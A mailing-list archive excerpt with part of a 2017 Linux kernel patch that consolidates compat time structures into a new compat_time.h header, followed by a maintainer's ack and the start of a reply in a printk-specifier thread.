 create mode 100644 include/linux/compat_time.h

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index e39d487bf724..d4f9c9ee3b15 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -34,7 +34,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -66,16 +65,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 #ifdef __AARCH64EB__
 	short		st_dev;
diff --git a/arch/arm64/include/asm/stat.h b/arch/arm64/include/asm/stat.h
index 15e35598ac40..eab738019707 100644
--- a/arch/arm64/include/asm/stat.h
+++ b/arch/arm64/include/asm/stat.h
@@ -20,6 +20,7 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat_time.h>
 #include <asm/compat.h>
 
 /*
diff --git a/arch/arm64/kernel/hw_breakpoint.c b/arch/arm64/kernel/hw_breakpoint.c
index 749f81779420..bfa2b78cf0e3 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -29,7 +29,6 @@
 #include <linux/ptrace.h>
 #include <linux/smp.h>
 
-#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 1d091d048d04..929fc369d0be 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -5,7 +5,7 @@
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>
 
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index b2adcce7bc18..1acb3097d35b 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -52,7 +52,6 @@
 #include <linux/thread_info.h>
 
 #include <asm/alternative.h>
-#include <asm/compat.h>
 #include <asm/cacheflush.h>
 #include <asm/exec.h>
 #include <asm/fpsimd.h>
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 8e2b5b556488..ebbf3f04f82b 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -14,7 +14,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_suseconds_t;
 
@@ -46,16 +45,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	s32		st_pad1[3];
diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c
index cf5c7c05e5a3..a6b04c70a8cb 100644
--- a/arch/mips/kernel/signal32.c
+++ b/arch/mips/kernel/signal32.c
@@ -14,7 +14,7 @@
 #include <linux/signal.h>
 #include <linux/syscalls.h>
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/compat-signal.h>
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 07f48827afda..ea453c356bf9 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -13,7 +13,6 @@
 
 typedef u32	compat_size_t;
 typedef s32	compat_ssize_t;
-typedef s32	compat_time_t;
 typedef s32	compat_clock_t;
 typedef s32	compat_pid_t;
 typedef u32	__compat_uid_t;
@@ -40,16 +39,6 @@ typedef u32	compat_ulong_t;
 typedef u64	compat_u64;
 typedef u32	compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t		tv_sec;
-	s32			tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t		tv_sec;
-	s32			tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t		st_dev;	/* dev_t is 32 bits on parisc */
 	compat_ino_t		st_ino;	/* 32 bits */
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index a035b1e5dfa7..d48892bcd38f 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u32		__compat_uid_t;
@@ -45,16 +44,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/powerpc/kernel/asm-offsets.c b/arch/powerpc/kernel/asm-offsets.c
index 4ce0e8eccbcf..7698bd054181 100644
--- a/arch/powerpc/kernel/asm-offsets.c
+++ b/arch/powerpc/kernel/asm-offsets.c
@@ -42,7 +42,7 @@
 #include <asm/paca.h>
 #include <asm/lppaca.h>
 #include <asm/cache.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/mmu.h>
 #include <asm/hvcall.h>
 #include <asm/xics.h>
diff --git a/arch/powerpc/oprofile/backtrace.c b/arch/powerpc/oprofile/backtrace.c
index ecc66d5f02c9..11ff763c03ad 100644
--- a/arch/powerpc/oprofile/backtrace.c
+++ b/arch/powerpc/oprofile/backtrace.c
@@ -11,7 +11,7 @@
 #include <linux/sched.h>
 #include <asm/processor.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/oprofile_impl.h>
 
 #define STACK_SP(STACK)		*(STACK)
diff --git a/arch/s390/hypfs/hypfs_sprp.c b/arch/s390/hypfs/hypfs_sprp.c
index ae0ed8dd5f1b..5d85a039391c 100644
--- a/arch/s390/hypfs/hypfs_sprp.c
+++ b/arch/s390/hypfs/hypfs_sprp.c
@@ -13,7 +13,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/sclp.h>
 #include "hypfs.h"
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index 1b60eb3676d5..32a77b6d9a59 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -53,7 +53,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -97,16 +96,6 @@ typedef struct {
 	u32 gprs_high[NUM_GPRS];
 } s390_compat_regs_high;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/s390/include/asm/elf.h b/arch/s390/include/asm/elf.h
index 9a3cb3983c01..78f75384f891 100644
--- a/arch/s390/include/asm/elf.h
+++ b/arch/s390/include/asm/elf.h
@@ -126,7 +126,7 @@
  */
 
 #include <asm/ptrace.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/syscall.h>
 #include <asm/user.h>
 
@@ -136,7 +136,6 @@ typedef s390_regs elf_gregset_t;
 typedef s390_fp_regs compat_elf_fpregset_t;
 typedef s390_compat_regs compat_elf_gregset_t;
 
-#include <linux/compat.h>
 #include <linux/sched/mm.h>	/* for task_struct */
 #include <asm/mmu_context.h>
 
diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c
index c954ac49eee4..07eebba4bd37 100644
--- a/arch/s390/kvm/priv.c
+++ b/arch/s390/kvm/priv.c
@@ -29,7 +29,6 @@
 #include <asm/gmap.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/sclp.h>
 #include "gaccess.h"
 #include "kvm-s390.h"
diff --git a/arch/s390/pci/pci_clp.c b/arch/s390/pci/pci_clp.c
index 93cd0f1ca12b..19b2d2a9b43d 100644
--- a/arch/s390/pci/pci_clp.c
+++ b/arch/s390/pci/pci_clp.c
@@ -19,7 +19,6 @@
 #include <linux/uaccess.h>
 #include <asm/pci_debug.h>
 #include <asm/pci_clp.h>
-#include <asm/compat.h>
 #include <asm/clp.h>
 #include <uapi/asm/clp.h>
 
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 977c3f280ba1..7348f111d169 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -11,7 +11,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -39,16 +38,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index c14e36f008c8..c3a326c9ae75 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -29,7 +29,6 @@ typedef u32		compat_ulong_t;
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
 typedef s32		compat_off_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef u32		compat_ino_t;
 typedef u32		compat_caddr_t;
@@ -59,16 +58,6 @@ typedef unsigned long compat_elf_greg_t;
 #define COMPAT_ELF_NGREG (sizeof(struct pt_regs) / sizeof(compat_elf_greg_t))
 typedef compat_elf_greg_t compat_elf_gregset_t[COMPAT_ELF_NGREG];
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 #define compat_stat stat
 #define compat_statfs statfs
 
diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 140d33288e78..6b8961912781 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -2391,7 +2391,7 @@ static unsigned long get_segment_base(unsigned int segment)
 
 #ifdef CONFIG_IA32_EMULATION
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 static inline int
 perf_callchain_user32(struct pt_regs *regs, struct perf_callchain_entry_ctx *entry)
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index a600a6cda9ec..5d8e0fc204db 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -46,16 +45,6 @@ typedef u32		compat_u32;
 typedef u64 __attribute__((aligned(4))) compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 09ad88572746..db25aa15b705 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
 
 #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 /*
  * Because ia32 syscalls do not map to x86_64 syscall numbers
diff --git a/arch/x86/include/asm/sys_ia32.h b/arch/x86/include/asm/sys_ia32.h
index 82c34ee25a65..8527b26ad36f 100644
--- a/arch/x86/include/asm/sys_ia32.h
+++ b/arch/x86/include/asm/sys_ia32.h
@@ -16,7 +16,7 @@
 #include <linux/linkage.h>
 #include <linux/types.h>
 #include <linux/signal.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 
 /* ia32/sys_ia32.c */
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index a63fe77b3217..13d51bd80409 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -19,7 +19,7 @@
 #include <linux/elf.h>
 
 #include <asm/elf.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/ia32.h>
 #include <asm/syscalls.h>
 #include <asm/mpx.h>
diff --git a/drivers/s390/block/dasd_ioctl.c b/drivers/s390/block/dasd_ioctl.c
index 7bdc6aaa0ba3..2016e0ed5865 100644
--- a/drivers/s390/block/dasd_ioctl.c
+++ b/drivers/s390/block/dasd_ioctl.c
@@ -18,7 +18,6 @@
 #include <linux/fs.h>
 #include <linux/blkpg.h>
 #include <linux/slab.h>
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/schid.h>
 #include <asm/cmb.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index c4518168fd02..d74facaa1755 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -18,7 +18,6 @@
 #include <linux/slab.h>
 #include <linux/types.h>
 
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/cio.h>
 #include <asm/ebcdic.h>
diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c
index a78cea0c3a09..248b5db3eaa8 100644
--- a/drivers/s390/char/sclp_ctl.c
+++ b/drivers/s390/char/sclp_ctl.c
@@ -14,7 +14,6 @@
 #include <linux/init.h>
 #include <linux/ioctl.h>
 #include <linux/fs.h>
-#include <asm/compat.h>
 #include <asm/sclp_ctl.h>
 #include <asm/sclp.h>
 
diff --git a/drivers/s390/char/vmcp.c b/drivers/s390/char/vmcp.c
index 17e411c57576..948ce82a7725 100644
--- a/drivers/s390/char/vmcp.c
+++ b/drivers/s390/char/vmcp.c
@@ -23,7 +23,6 @@
 #include <linux/mutex.h>
 #include <linux/cma.h>
 #include <linux/mm.h>
-#include <asm/compat.h>
 #include <asm/cpcmd.h>
 #include <asm/debug.h>
 #include <asm/vmcp.h>
diff --git a/drivers/s390/cio/chsc_sch.c b/drivers/s390/cio/chsc_sch.c
index 8e7e19b9e92c..662d24c6b79c 100644
--- a/drivers/s390/cio/chsc_sch.c
+++ b/drivers/s390/cio/chsc_sch.c
@@ -15,7 +15,6 @@
 #include <linux/miscdevice.h>
 #include <linux/kernel_stat.h>
 
-#include <asm/compat.h>
 #include <asm/cio.h>
 #include <asm/chsc.h>
 #include <asm/isc.h>
diff --git a/drivers/s390/net/qeth_core_main.c b/drivers/s390/net/qeth_core_main.c
index 49b9efeba1bd..8259c0ae3395 100644
--- a/drivers/s390/net/qeth_core_main.c
+++ b/drivers/s390/net/qeth_core_main.c
@@ -26,7 +26,7 @@
 #include <asm/chpid.h>
 #include <asm/io.h>
 #include <asm/sysinfo.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/diag.h>
 #include <asm/cio.h>
 #include <asm/ccwdev.h>
diff --git a/drivers/staging/pi433/pi433_if.c b/drivers/staging/pi433/pi433_if.c
index a960fe2e7875..3fcb238b1995 100644
--- a/drivers/staging/pi433/pi433_if.c
+++ b/drivers/staging/pi433/pi433_if.c
@@ -48,7 +48,7 @@
 #include <linux/wait.h>
 #include <linux/spi/spi.h>
 #ifdef CONFIG_COMPAT
-#include <asm/compat.h>
+#include <linux/compat.h>
 #endif
 
 #include "pi433_if.h"
diff --git a/include/linux/compat.h b/include/linux/compat.h
index 0fc36406f32c..1a5e397ffcd4 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -7,6 +7,7 @@
  */
 
 #include <linux/types.h>
+#include <linux/compat_time.h>
 
 #ifdef CONFIG_COMPAT
 
diff --git a/include/linux/compat_time.h b/include/linux/compat_time.h
new file mode 100644
index 000000000000..56a54a1e4355
--- /dev/null
+++ b/include/linux/compat_time.h
@@ -0,0 +1,19 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_COMPAT_TIME_H
+#define _LINUX_COMPAT_TIME_H
+
+#include <linux/types.h>
+
+typedef s32		compat_time_t;
+
+struct compat_timespec {
+	compat_time_t	tv_sec;
+	s32		tv_nsec;
+};
+
+struct compat_timeval {
+	compat_time_t	tv_sec;
+	s32		tv_usec;
+};
+
+#endif /* _LINUX_COMPAT_TIME_H */
-- 
2.11.0

From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: Re: [PATCH 1/9] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Fri, 10 Nov 2017 21:38:05 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20171110213805.0400a855@gandalf.local.home>
References: <20171110224259.15930-1-deepa.kernel@gmail.com>
        <20171110224259.15930-2-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1510367895 31012 195.159.176.226 (11 Nov 2017 02:38:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Nov 2017 02:38:15 +0000 (UTC)
Cc: tglx@linutronix.de, john.stultz@linaro.org,
        linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rric@k
To: Deepa Dinamani <deepa.kernel@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 11 03:38:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eDLgL-0006pX-Cf
	for glpp-linux-parisc@m.gmane.org; Sat, 11 Nov 2017 03:38:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755149AbdKKCiN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 10 Nov 2017 21:38:13 -0500
Original-Received: from mail.kernel.org ([198.145.29.99]:46360 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755139AbdKKCiM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 10 Nov 2017 21:38:12 -0500
Original-Received: from gandalf.local.home (cpe-67-246-153-56.stny.res.rr.com [67.246.153.56])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 568D8218C5;
        Sat, 11 Nov 2017 02:38:07 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 568D8218C5
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=goodmis.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=rostedt@goodmis.org
In-Reply-To: <20171110224259.15930-2-deepa.kernel@gmail.com>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27965 gmane.linux.kernel:2614729 gmane.linux.kernel.year-2038:2289 gmane.linux.ports.mips.general:62065 gmane.linux.ports.ppc64.devel:150157 gmane.linux.oprofile:13103 gmane.linux.ports.sparc:26853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27965>

On Fri, 10 Nov 2017 14:42:51 -0800
Deepa Dinamani <deepa.kernel@gmail.com> wrote:

> diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
> index 09ad88572746..db25aa15b705 100644
> --- a/arch/x86/include/asm/ftrace.h
> +++ b/arch/x86/include/asm/ftrace.h
> @@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
>  #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
>  
>  #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
> -#include <asm/compat.h>
> +#include <linux/compat.h>
>  

Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>

-- Steve
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 0/6] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Sat, 11 Nov 2017 13:41:28 +0900
Lines: 19
Approved: news@gmane.org
Message-ID: <20171111044128.GA596@tigerII.localdomain>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171110181114.x22y2zr5qdf4y5za@agluck-desk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510375292 26683 195.159.176.226 (11 Nov 2017 04:41:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 11 Nov 2017 04:41:32 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Nov 11 05:41:26 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eDNbi-0006eS-4X
	for glpi-linux-ia64-2@m.gmane.org; Sat, 11 Nov 2017 05:41:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751134AbdKKElc (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 10 Nov 2017 23:41:32 -0500
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:51082 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750848AbdKKElb (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 10 Nov 2017 23:41:31 -0500
Original-Received: by mail-pg0-f68.google.com with SMTP id y5so8865685pgq.7;
        Fri, 10 Nov 2017 20:41:31 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=dnhu/UBYwOTf7+mTcQVqasxXE8uh92srhnQPU4ID/Zc=;
        b=ms75d6M2GMBStlpbKybzO/UFIsIwC2EBQPiDzBvz5lyh4fRkF4O+xVrlDHhV2mWV9r
         m/ltk3hBTw71DUv3EvEWrmVKx3nVbwEfodyCZIZiFNuffk209iD2BM1XFNSfcLnefnpM
         VKq0ak8qjTAeyMlNoUpj7x6JUliaW8oMlmB9sKe0w8igvEvFNasTMzvfBoojjm4vaU/Z
         zadUtBrnknHrTtMgWGZTPZmkYZ//DH3gP9D/TKbJ2ac7jAxoGPNthT1zZNmq69PVRann
         cXNuAsP+/QRGSNy3ZHhOSkOecHQ/l+tHQ45Gi0UZqYb6z1abKKTPLpdyh6lk04xxpQ+K
         f0kg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=dnhu/UBYwOTf7+mTcQVqasxXE8uh92srhnQPU4ID/Zc=;
        b=p1iL42fkmqkJmWdyd0c/Dq/Yx/SPsogtdIszwIHLpdgwtzYOb/XEKFetedMH272cv3
         TBJWmKVolCRlCncOZKlqhqFmpHUfXhB5dPkolxabdGRhkhZQJ22n9luPQm6UWRmFWl9E
         SUcoBCpVpmOJl2laFiHVcO+9v7HqY1wpIw1TV90sm+nJPIsSZ4OQ4sSxh9uoc+YFbSkc
         2vmK5yu0zQyoVSyoO/AWqID0o9/HyieJCH4hHdU/TEpDXylt8uF/zQVplr8Org41OU0E
         CMGyhzTwc9ap0RPWJZJqnWsqtttcXso1k9njqYEBME335nohfkZlb6FosurjhsMkQAvD
         6BnQ==
X-Gm-Message-State: AJaThX4tqe/xCMtT10wchPFDpey6S9a4d5xAMhFG+AZymNfktNFPNV9a
        1YWyiPGSLxdoPehdMaSi/3I=
X-Google-Smtp-Source: AGs4zMb7/CWoe4L5AUEpprTDluvUPEhRVmcInPAXbYav8nlBcuDGS6v41XrrVe59dGq0JUv3Zt8Odg==
X-Received: by 10.99.102.134 with SMTP id a128mr2502769pgc.96.1510375291226;
        Fri, 10 Nov 2017 20:41:31 -0800 (PST)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id d74sm23067357pfe.167.2017.11.10.20.41.30
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Fri, 10 Nov 2017 20:41:30 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171110181114.x22y2zr5qdf4y5za@agluck-desk>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28302 gmane.linux.ports.parisc:27966 gmane.linux.ports.ppc64.devel:150158 gmane.linux.kernel:2614750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28302>

On (11/10/17 10:11), Luck, Tony wrote:
> On Fri, Nov 10, 2017 at 08:48:24AM +0900, Sergey Senozhatsky wrote:
> > 	All Ack-s/Tested-by-s were dropped, since the patch set has been
> > reworked. I'm kindly asking arch-s maintainers and developers to test it
> > once again. Sorry for any inconveniences and thanks for your help in
